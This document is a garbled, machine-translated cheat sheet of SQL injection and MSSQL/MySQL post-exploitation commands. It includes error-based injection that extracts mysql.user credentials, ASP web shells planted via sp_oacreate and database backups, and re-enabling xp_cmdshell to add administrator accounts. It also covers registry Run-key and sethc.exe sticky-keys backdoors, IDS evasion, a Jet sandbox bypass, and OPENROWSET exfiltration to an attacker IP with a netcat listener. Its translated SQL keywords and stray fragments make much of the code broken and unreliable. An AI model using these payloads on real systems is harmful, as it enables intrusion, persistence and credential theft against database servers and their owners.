PÚBLICO) Escreva para a mesa: Declaração 1: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(sysadmin)); – Declaração 2: e 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); – Declaração 3: e 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); – Declaração 4: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(securityadmin)); – Declaração 5: e 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); – Instrução 6: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(administrador de disco)); – Declaração 7: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(bulkadmin)); – Declaração 8: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(bulkadmin)); – Afirmação 9: e 1=(Selecionar IS_blank>_MEMBER(db_blank>_owner)); –
Escreva o caminho até a tabela: ; create table dirs(paths varchar(100), id int)– ; Insira direções executivas master.dbo.xp_blank>_dirtree c:\– e 0<>(selecione os caminhos top 1 dos dirs)– e 0<>(selecione os caminhos top 1 dos dirs onde caminhos não estão em(@Inetpub))– ; criar tabela dirs1(caminhos varchar(100), id int)– ; Insira direções executivas master.dbo.xp_blank>_dirtree e:\web– e 0<>(selecione os caminhos top 1 de dirs1)–
Faça backup _blank> banco de dados em um diretório web: Baixe ; declare @a nome de sistema; conjunto @a=db_blank>_name(); Backup do banco de dados @a para disco=E:\web\down.bak; –
e 1=(Selecione o nome top 1 de(Selecione top 12 id, nome a partir de sysobjects onde xtype=char(85)) T
ordem por id desc) e 1=(Selecione Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) a partir de sysobjects) Veja também
Tabelas relacionadas. e 1=(selecione user_blank>_id de USER_blank>_LOGIN) e 0=(selecionar usuário de USER_blank>_LOGIN onde o usuário>1)
-=- wscrip{filter}t.shell exemplo -=- declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declare @o int, @f int, @t int @ret int declarar @line Varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, OpenTextFile, @f fora, C:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line fora while( @ret = 0 ) início Imprimir @line exec @ret = sp_blank>_oamethod @f, readline, @line fora fim
declare @o int, @f int, @t int @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out sp_blank>_oamethod @o executivo, createtextfile, @f fora, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int executivo sp_blank>_oacreate speech.voicetext, @o encerrado exec sp_blank>_oamethod @o, register, NULL, foo, bar sp_blank>_oasetproperty @o executivo, velocidade, 150 exec sp_blank>_oamethod @o, fale, NULL, todos os seus servidores sequel pertencem a, us, 528 esperapor atraso 00:00:05
; declare @o int, @ret int executivo sp_blank>_oacreate speech.voicetext, @o execute
sp_blank>_oamethod @o, registrador, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, fale, NULL, todos os seus servidores sequel pertencem a nós, 528 espera de atraso
00:00:05–
xp_blank>_dirtree a permissão PÚBLICA aplicável exec master.dbo.xp_blank>_dirtree c: A informação retornada possui dois campos: subdiretório, profundidade. Campos de subdiretório
Tipo de personagem, o campo de profundidade é o campo de modelagem. Criar diretores de tabela (paths varchar(100), id int) A construção de tabelas, a tabela criada aqui está relacionada ao xp_blank>_dirtree acima, com campos iguais e do mesmo tipo. insert dirs exec master.dbo.xp_blank>_dirtree c: Desde que construamos uma tabela e definamos igualmente os campos retornados pelo processo de armazenamento
Executem! Para alcançar o efeito de escrever tabelas, passo a passo para obter as informações que queremos! Essa injeção de erro é baseada principalmente no excesso de tipos de dados Mysql mysql > SELECT 18446744073709551610 * 2 ; ERRO 1690 (22003): BIGINT VALOR SEM SINAL, está fora do alcance em '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ERRO 1690 (22003): BIGINT VALOR UNSIGNED está fora do intervalo em '(- (1)*
9223372036854775808)' Consulta versão do banco de dados: mysql> SELECT * 2 (se (((SELECT * de (SELECT (versão ()) ) s), 18446744073709551610,
18446744073709551610)); ERRO 1690 (22003): O VALOR DE BIGINT SEM SINAL está fora do intervalo em '(2 * se (( Selecionar ' 5.5 ' de
Dual), 18446744073709551610.18446744073709551610))' Obtenha o nome do campo: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) como '' limit 1)>(SELECT * from
test.shop limite 1), 18446744073709551610, 18446744073709551610);
ERRO 1690 (22003): BIGINT UNSIGNED value está fora do intervalo em '(2 * if(((select
'artigo', 'revendedor', 'preço' de (selecione 'teste'.'loja'.'artigo' AS
'artigo', 'teste'.'loja'.'revendedor' AS 'revendedor','teste'.'loja'.'preço' COMO 'preço' de
'testar'.'loja') limite 1) > (selecionar
'teste'.'loja'.'artigo','teste'.'loja'.'revendedor','teste'.'loja'.'preço' de 'teste'..'loja' limite
1)),18446744073709551610,18446744073709551610))' Obtenha o valor do campo:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) como '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ERRO 1690 (22003): BIGINT UNSIGNED value está fora do intervalo em '(2 * if(((select
'localhost','root','*','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y
Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '0', '', '', DO LIMITE DUPLO 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Note que esse método não funciona com versões mais antigas do Mysql, e você precisará saber o limite de comprimento da mensagem de erro, pois isso determinará
Você pode pegar o tempo que quiser: mysys / my_error.c
/* Comprimento máximo de uma mensagem de erro. Deve ser mantido sincronizado com MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Se o objeto for MariaDB (um fork do Mysql), você pode ver uma mensagem de erro como essa ao tentar o método acima:
mysql> SELECT 2*(if((SELECT * de (SELECT (versão())))), 18446744073709551610,
18446744073709551610)) ERRO 1690 (22003): BIGINT UNSIGNED value está fora do intervalo em '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Como solução, esse problema pode ser resolvido da seguinte forma:
mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a; ERRO 1690 (22003): O valor BIGINT está fora do intervalo em '(('5.5-MariaDB' não é nulo) - -
(9223372036854775808))' Agora vamos ver se conseguimos deixar nosso vetor um pouco mais curto
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version())))), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I IS NOT NULL) - -9223372036854775808 DE (SELECT (versão())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) como '' limite 1)>(SELECT * de
test.shop limite 1), 18446744073709551610, 18446744073709551610) = selecione 1E308*se((selecione*de(selecione*frommysql.user)''limite 1)>(selecione*frommysql.user: limite
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) como '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| host|| senha|| file_priv from(select*from mysql.user LIMIT
1) um limite 1),2,2)
//获取字段个数
selecione 1E308*se((selecione*do mysql.User limite 1)>(selecione 1),2,2)
Algumas outras deformações
SELECT (I IS NOT NULL) - -9223372036854775808 DE (SELECT (versão())i)a select 1E308*if((select user|| host|| senha|| file_priv from(select*from mysql.user LIMIT
1) um limite 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> select (select * from mysql.user)=1; mysql> selecionar (selecionar * do mysql.user)in(1);
ERRO 1241 (21000): O operando deve conter 42(s) coluna(s) select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); select if((select user|| host|| senha|| file_priv from(select*from mysql.user LIMIT 1)a
limite 1),2,2)*1E308 SELECT (I IS NOT NULL) - -9223372036854775808 DE (SELECT (versão())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; ERRO 1690 (22003): O VALOR DE BIGINT SEM SINAL ESTÁ FORA DO INTERVALO EM '((NOT('root@localhost')) - ~
(0))' 3. Julgar o sistema de banco de dados ; e (select count(*) from sysobjects)>0 mssql ; e (select count(*) do msysobjects)>0 acesso 4. O parâmetro de injeção é um caractere 'e [critérios de consulta] e ''=' 5. Não há parâmetros filtrados durante a busca 'e [critérios de consulta] e '%25'=' 6. Adivinhe o banco de dados ; e (selecione Contagem(*) de [nome do banco de dados])>0 7. Adivinhe o campo ; e (selecionar Contagem(nome do campo) do nome do banco de dados)>0 8. Adivinhe o comprimento do disco no campo ; e (selecione o top 1 LEN (nome do campo) do nome do banco de dados)>0 9. (1) Adivinhar o valor ASCII do campo (acesso) ; e (selecione top 1 asc(mid(nome do campo, 1,1)) do nome do banco de dados)>0 (2) Adivinhar o valor ASCII do campo (mssql) ; e (selecione top 1 unicode(substring(nome do campo, 1,1)) do nome do banco de dados)>0 10. Estrutura de Permissão de Teste (mssql) ; e 1=(selecione IS_SRVROLEMEMBER('sysadmin')); -- ; e 1=(selecione IS_SRVROLEMEMBER('serveradmin')); -- ; e 1=(selecione IS_SRVROLEMEMBER('setupadmin')); -- ; e 1=(selecione IS_SRVROLEMEMBER('securityadmin')); -- ; e 1=(selecione IS_SRVROLEMEMBER('diskadmin')); -- ; e 1=(selecionar IS_SRVROLEMEMBER('bulkadmin')); -- ; e 1=(selecionar IS_MEMBER('db_owner')); -- 11. Adicionar uma conta para mssql e o sistema ; Nome de usuário master.dbo.sp_addlogin executivo; -- ; exec master.dbo.sp_password null, nome de usuário, senha; -- ; nome de usuário de administrador de sistemas master.dbo.sp_addsrvrolemember exec; -- ; Executivo master.dbo.xp_cmdshell 'Usuário da internet senha /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; Exec master.dbo.xp_cmdshell 'Nome de usuário da internet senha /add'; -- ; exec master.dbo.xp_cmdshell 'Administrador de grupo local da rede usuário /add'; -- 12. (1) Percorra o catálogo ; Criar diretores de tabela (paths varchar(100), id int) ; Insira direções executivas master.dbo.xp_dirtree 'C:\' ; e (selecione os caminhos top 1 das direções)>0 ; e (selecione os caminhos top 1 das direções onde caminhos não estão em('caminhos obtidos a partir do passo anterior'))>) (2) Atravessar o catálogo ; crie a temperatura da tabela (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; insira o executivo temporário master.dbo.xp_availablemedia; -- Obter todos os drives de corrente ; inserir no temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obter uma lista de subdiretórios ; inserir no executivo temp(id,num1) master.dbo.xp_dirtree 'c:\'; -- Obter a estrutura de árvore de diretórios para todos os subdiretórios ; inserir no temp(id) exec master.dbo.xp_cmdshell 'tipo C:\web\index.asp'; -- Visualizar o conteúdo do arquivo 13. Procedimentos armazenados em mssql xp_regenumvalues Chave raiz do registro, chave filho ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' e mais
método de conjunto de registros para retornar todos os valores-chave xp_regread Chave raiz, chave filha, nome chave-valor ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' retorna o valor da chave de formulação xp_regwrite Chave raiz, chave filha, nome do valor, tipo de valor, valor Existem dois tipos de valores REG_SZ REG_DWORD para tipos de caracteres e para inteiros ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' são escritos no registro xp_regdeletevalue Chave raiz, subchave, nome do valor exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' para remover um valor xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' tecla delete,
Inclua todos os valores sob essa chave 14. Backup MSSQL cria um webshell Usar modelo criar tabela cmd(imagem str); inserir em cmd(str) valores ('<% Dim oscrip{filter}t %>'); Faça backup do modelo do banco de dados para disco='c:\l.asp'; 15. Funções embutidas do MSSQL ; e (selecione @@version)>0 para obter o número de versão do Windows ; e user_name()='dbo' para determinar se o usuário conectado do sistema atual é SA ; e (selecione user_name())>0 Explodiu os usuários conectados do sistema atual ; e (selecione db_name())>0 para obter o banco de dados atualmente conectado 16. Webshell conciso Usar modelo criar tabela cmd(imagem str); inserir em cmd(str) valores ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c").stdout.readall%>'); Faça backup do modelo do banco de dados para disco='g:\wwwtest\l.asp'; Ao solicitar, use algo assim:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Obtenha todos os nomes de bancos de dados, incluindo os bancos de dados do sistema –SELECT nome FROM master.dbo.sysdatabases
– Obtenha todos os nomes de bancos de dados que não sejam do sistema –selecione [nome] do master.dbo.sysdatabases onde DBId>6 Ordene por [Nome]
– Obtenha todas as informações, incluindo o endereço do arquivo do banco de dados –select * a partir de master.dbo.sysdatabases onde DBId>6 ordena por
[Nome]
Esta consulta de instrução retorna todas as tabelas de usuário
selecione * de sysobjects onde xtype='u'
Consultar todas as informações da tabela de dados no sistema
select * a partir de sysobjects
Olhe o nome da máquina select * do sys.servers
Índice da coluna Executivo master.dbo.xp_subdirs 'C:\'
Executivo master.dbo.xp_dirtree 'C:',1,1 db_owner Permissões podem ser aplicadas
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Código de programa, escrito para webshell
Executivo master.dbo.xp_subdirs 'D:\Web\www.xx.com'; Executivo sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB")%>"
execute mestre... xp_enumgroups
Usuários do sistema Traverse
execute mestre... xp_getnetname Obtenha o nome atual da máquina
--Liste os discos fixos no servidor, junto com o espaço disponível para cada unidade Público DBO
executar
xp_ntsec_enumdomains
-- Crie uma conta para fazer login no MSSQL Nome master.dbo.sp_addlogin executivo, Pass; --
-- Liste o nome de domínio do servidor xp_ntsec_enumdomains // Nome da máquina //dbo public
-- Pare ou inicie um serviço xp_servicecontrol 'stop', 'schedule' //schedule é o nome do serviço //dbo
--Usar pid
Parar um programa em execução xp_terminate_process 123 //123 é o pid //dbo
-- Apenas subdiretórios em um diretório são listados dbo.xp_subdirs 'C:' //dbo
SQL Server O método de abertura do xp_cmdshell em 2005 EXECUTIVO sp_configure 'mostrar opções avançadas', 1; RECONFIGURAR; EXECUTIVO
sp_configure 'xp_cmdshell', 1; RECONFIGURAR;
SQL2005 Abrir 'OPENROWSET' Métodos suportados: sp_configure executivo 'mostrar opções avançadas', 1; RECONFIGURAR; executivo sp_configure 'Ad Hoc
Consultas Distribuídas',1; RECONFIGURAR;
SQL2005 para habilitar o suporte 'sp_oacreate': sp_configure executivo 'mostrar opções avançadas', 1; RECONFIGURAR; Executivo
sp_configure 'Procedimentos de Automação Velhos',1; RECONFIGURAR
Como ativar xp_cmdshell no SQL Server 2008
-- Para permitir que opções avançadas sejam alteradas. EXECUTIVO
sp_configure 'mostrar opções avançadas', 1 VAI -- Para atualizar o valor atualmente configurado para
Opções avançadas. RECONFIGURAR VAI -- Para ativar o recurso. EXECUTIVO sp_configure 'xp_cmdshell', 1 VAI --Para
Atualize o valor atualmente configurado para este recurso. RECONFIGURAR VAI
exec xp_cmdshell 'ipconfig'
Hoje, quis mudar a senha de login SA do servidor de banco de dados, mas de repente esqueci, então tive que abrir o analisador de consultas com a ajuda de outras contas para mudar a senha SA
É muito simples:
Execução: sp_password Null, 'teracypwd', 'sa' Defina a senha do SA para "teracypwd"
Após execução bem-sucedida
Há "Comando(s) concluído(s) com sucesso." OKEY!
Na permissão do banco de dados, separe o método para obter o IP do servidor de banco de dados MSSQL
1. NC local ouve NC - VVLP 80
2.; inserir em
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Endereço=seu IP, 80; ', 'selecionar * de
dest_table') selecione * de src_table; --
select * do openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','select user; ')
Importação e exportação de banco de dados
/*不同服务器数据库之间的数据操作*/
--Criar servidor de link Executivo sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Nome ou Endereço IP do Servidor Remoto' executivo sp_addlinkedsrvlogin 'ITSV', 'falso
',null, 'nome de usuário', 'senha'
--exemplo de consulta select * do nome do banco de dados ITSV.dbo.nome da tabela
--exemplo de importação select *
para tabela a partir de ITSV.databasename.dbo.tablename
--Exclua o servidor vinculado se ele não estiver mais em uso no futuro executivo sp_dropserver 'ITSV',
'droplogins'
-- Conectando a dados remotos/LAN (openrowset/openquery/opendatasource) --1、OpenrowSet
--exemplo de consulta select *
from openrowset( 'SQLOLEDB', 'nome do servidor SQL'; 'Nome de usuário'; 'senha', nome do banco de dados.dbo.nome da tabela)
-- Gerar uma tabela local selecione * na tabela do openrowset( 'SQLOLEDB', 'nome do servidor SQL'; 'Nome de usuário'; 'Senha', número
De acordo com o nome do banco de dados.dbo. nome da tabela)
-- Importar a tabela local para a tabela remota inserir openrowset( 'SQLOLEDB', 'nome do servidor SQL'; 'Nome de usuário'; 'Senhas', bancos de dados
nome.dbo.nome da tabela) selecione *a partir da tabela local
-- Atualizar tabelas locais Atualização B Coloque b. coluna A = a from openrowset( 'SQLOLEDB', 'nome do servidor SQL'; 'Nome de usuário'; '
senha ', nome do banco de dados .dbo.table name) como uma tabela local de junção interna b em a.coluna1=b.coluna1
--openquery O uso requer a criação de uma conexão
--Primeiro, crie uma conexão para criar um servidor de links executivo sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'nome remoto do servidor ou endereço IP' --Investigue select * FROM OpenQuery(ITSV, 'SELECT * FROM dados
library.dbo.table nome ') -- Importar a tabela local para a tabela remota inserir openquery(ITSV, 'SELECT * FROM nome do banco de dados.dbo.table') selecione * do local
Tabela --atualizar tabela local Atualização B conjunto b. coluna B=a DE OPENQUERY(ITSV, 'SELECT * FROM database.dbo.tablename')
como um junta interna tabela local b em a. coluna A=b. coluna A
--3、OpenDataSource/OpenRowSet SELECT * DE
opendatasource( 'SQLOLEDB', 'Data Source=ip/NomeServidor; ID de usuário = Nome de login; Senha=Senha '
).test.dbo.roy_ta -- Importar a tabela local para a tabela remota
Exclusão e restauração da xp_cmdshell
Maneiras de recuperar xp_cmdshell Exclua o procedimento armazenado estendido xp_cmdshell
Enunciado Executivo sp_dropextendedproc 'xp_cmdshell'
Recuperar a instrução sql do cmdshell executivo sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Executivo
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) de
master.dbo.sysobjects onde xtype='x' e O resultado de retorno é 1 e está tudo bem
Caso contrário, você precisa enviar c:\inetput\web
\xplog70.dll depois Executivo master.dbo.sp_addextendedproc 'xp_cmdshell', 'c:\inetput\web\xplog70.dll
’; --
Se você a apagar da seguinte forma Procedimento de queda sp_addextendedproc Procedimento de queda sp_oacreate Executivo
sp_dropextendedproc 'xp_cmdshell'
Você pode restaurá-lo com a seguinte afirmação DBCC AddExtendedProc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Dessa forma, pode ser restaurado diretamente, independentemente de sp_addextendedproc existir ou não
1、 Use xp_cmdshell: EXEC master.dbo.xp_cmdshell "administrador administrador de usuários da rede / add" Executivo
master.dbo.xp_cmdshell "administradores de grupos locais da rede admin /add"
Nesse xp_cmdshell caso, use sp_oacreate para seguir sp_oamethod: declare @object int Executivo
sp_oacreate 'wscrip{filter}t.Shell', @object out Executivo sp_oamethod
@object,'Run',NULL,'administrador de usuários nets admin /add' exec sp_oamethod @object,'Run',NULL,'net
localgroup Administradores admin /add'
Nota: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Use sp_oacreate e FSO declare @o int Executivo sp_oacreate
'scrip{filter}ting.filesystemobject', @o fora exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; declare @oo int Executivo
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo fora Executivo sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Use xp_regwrite (db_owner, reinicialização necessária): Executivo master.dbo.xp_regwrite
'hkey_local_machine'''software\microsoft\windows\currentversion\
run','eadd1','reg_sz','admin de usuários da rede admin /add' Executivo master.dbo.xp_regwrite
'hkey_local_machine'''software\microsoft\windows\currentversion\
run','eadd2','reg_sz','administradores de grupo local da rede admin /add' 5. Use sp_add_job: Executivo
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Use o MSDB Executive sp_delete_job
nulo,'x' Executivo sp_add_job 'X' Executivo sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' sp_add_jobserver executivo
Null, 'x', @@servername executivo sp_start_job 'x'
Muitos SA já tiveram sucesso em várias máquinas usando diretamente o modo sandbox, mas eu nunca pratiquei e não sei qual é a taxa de sucesso. Quando a extensão for removida, primeiro
Restaure o armazenamento de leitura e gravação no registro. DBCC addextendedproc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite'', 'xpstar.dll')
Corrigido o modo protegido do sandbox Mestre Executivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet
\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; --
Veja se o valor 'SandBoxMode' ficou 0.
executivo master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Por fim, chame o modo sandbox selecione * do OpenRowSet('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c NET User User passwd /add")')
Se o modo de proteção sandbox não estiver "desligado", um erro é reportado: Servidor: Msg 7357, Nível 16, Estado 2, Linha 1
Falhou em lidar com o objeto 'select shell("cmd.exe /c net user user passwd /add")'. O OLE DB oferece programas
O prefácio 'microsoft.jet.oledb.4.0' indica que não há colunas no objeto.
Rastreamento de erros OLE DB [Erro não de interface: provedor OLE DB incapaz de processar objetos, já que o objeto
has nocolumnsNomeProvedor='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c usuário de rede
user passwd /add")']。
2、 Se o .mdb não existir ou o caminho de entrada estiver incorreto Servidor: Msg 7399, Nível 16, Estado 1, Linha 1
Erro 'microsoft.jet.oledb.4.0' do fornecedor OLE DB. [O provedor OLE/DB retornou mensagem:
Arquivo 'C:\WINDOWS\system32\ias\dnary1.mdb' não encontrado. ]
Rastreamento de erro OLE DB [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Inicialize returned
0x80004005: ]。
3. Se houver mais espaços durante o processo de entrada, um erro também será reportado. Preste atenção especial a isso, muitas pessoas procuram diretamente artigos online
Cole e execute. Servidor: Msg 7357, Nível 16, Estado 2, Linha 1 Falhou em processar o objeto 'select
shell("cmd.exe /c NET User User passwd /add")'。 O provedor OLE DB 'microsoft.jet.oledb.4.0' afirma que não há colunas no objeto.
Rastreamento de erros do OLE DB [Erro não de interface: Provedor OLE DB incapaz de processar o objeto, já que o objeto tem
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Se as permissões do mdb e as permissões cmd.exe estiverem erradas, o problema também ocorrerá. Quando as permissões do MDB estão incorretas, Servidor: Eliminar
Interesse 7320, Nível 16, Estado 2, Linha 1
Ele não sabia responder O provedor OLE DB 'Microsoft.Jet.OLEDB.4.0' executa a consulta. [Provedor OLE/DB retornado
message: 未知] OLE DB Error Trace [Provedor OLE/DB 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Se a permissão da rede estiver incorreta, não há aviso.
A última forma de aumentar a autoridade é enviar os ias.mdb e cmd.exe do sistema sob o diretório web atual, net.exe três arquivos.
Execute select * a partir de openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe usuário usuário passwd /add")') Adicionei com sucesso um usuário de computador.
A divisão do cmdshell contorna o IDS declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' declarar
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Editar shift de sequestro de registro Mestre Executivo... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe em frente'; --
Consultar o linkserver selecionar
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,acesso a dados a partir de master.dbo.sysservers selecionar
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,acesso a dados a partir de master.dbo.sysservers
Consultar linkserver2 selecione nome de host distinto,db_name(dbid),net_address,loginame,program_name de
Mestre... sysprocesses
Consultar o linkserver e outros usuários logados select * de [192.168.1.1].master.dbo.syslogins
Query linkserver Todos os bancos de dados select * de linkedSrvWeb.master.dbo.sysdatabases
Realizar armazenamento estendido no LinkServer Exec [IP].master.dbo.xp_cmdshell
Consultar todas as tabelas no linkserver selecione * de [ip].master.dbo.sysobjects
select * do openrowset
('sqloledb','server=IP; uid=usuário; pwd=senha', 'selecionar @@version')
select * do openquery([LINKSERVER
nome], 'selecionar @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
select * do openquery(GM_SERVER,'select * dos sysobjects onde xtype = (''U'')')
select * de
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
selecione * do openquery(toatdeweb,'select
srvname de master.dbo.sysservers')
Inserir no OpenDataSource
('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; banco de dados=hack520').hack520.dbo.zhu select
nome de master.dbo.sysdatabases criar banco de dados hack520 Criar TABELA zhu(nome: nvarchar(256)
nulo); Criar TABELA J8(id int NULL, nome nvarchar(256) null);
select * do openquery
(toatdeweb,'definir fmtonly desligado executivo master.dbo.xp_cmdshell'usuário da internet'')
Mestre Executivo... xp_dirtree
'c:\',1,1 Realize um diretório de consulta
Links.master.executivo.. xp_cmdshell 'ipconfig'
select * from openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell 'ipconfig /all'')
Conecte o mysql Select * de Mem_DB. UserDB.dbo.AdminList
MESTRE EXECUTIVO... XP_dirtree 'c:\',1,1
Executivo
master.dbo.xp_cmdshell 'dir'
select count(*) de [indicar] Consulte quanto de dados há na tabela atual
selecione nome de host distinto,db_name(dbid),net_address,loginame,program_name
do mestre... sysprocesses
selecione * do gameDB01. Server01.dbo.cabal_character_table onde nome='
Porco'
Quando você deleta, diz: O banco de dados está sendo usado e não pode ser excluído.
Clique no banco de dados que você quer excluir para abrir o Visualizador de Eventos.
Entrada:
Uso
mestre Vai Depois, insira o seguinte: declare @d varchar (8000) Set @d= ' ' selecione @d=@d+ ' ' matar
'+cast(spid como varchar)+personagem(13) do mestre... sysprocesses onde dbid=db_id('nome da biblioteca') executivo(@d) -- Use código para excluir primeiro o processo que se conecta a esse banco de dados
O MSSQL opera o Oracle através do LinkServer
1) Instalar a Oracle no servidor SQL_SERVER 2005
9i cliente. Suponha que instale no diretório C:\ora92i\. Se D: for uma partição NTFS, você precisa definir o diretório instalado do ORACLE como o usado
Assinantes têm o direito de executar, adicionar e excluir.
2) Configure o arquivo C:\ora92i\network\ADMIN\tnsnames.ora. (O texto vermelho a seguir é um exemplo de configuração)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ENDEREÇO = (PROTOCOLO = TCP)(HOST = 192.168.0.11)(PORTA= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Execute o comando a seguir no modo DOS para confirmar que o cliente ORACLE está instalado corretamente.
Usuário/password@ORCL SQL Plus
4) Abrir Start - Painel de Controle - Serviços e confirmar que o serviço de Coordenador de Transações Distribuídas foi iniciado.
5) Abrir SQL SERVER Management Studio, Nome da Instância (ORCL) - Objeto do Servidor (clique direito) - Novo Servidor de Conexão.
1.
Servidor de link: Escreva o nome do servidor linkado, como OracleTest
2. Tipo de servidor, selecione uma fonte de dados diferente
3. Interface de acesso: Selecione o Provedor Oracle para OLE DB
4. Nome do Produto: Write Oracle
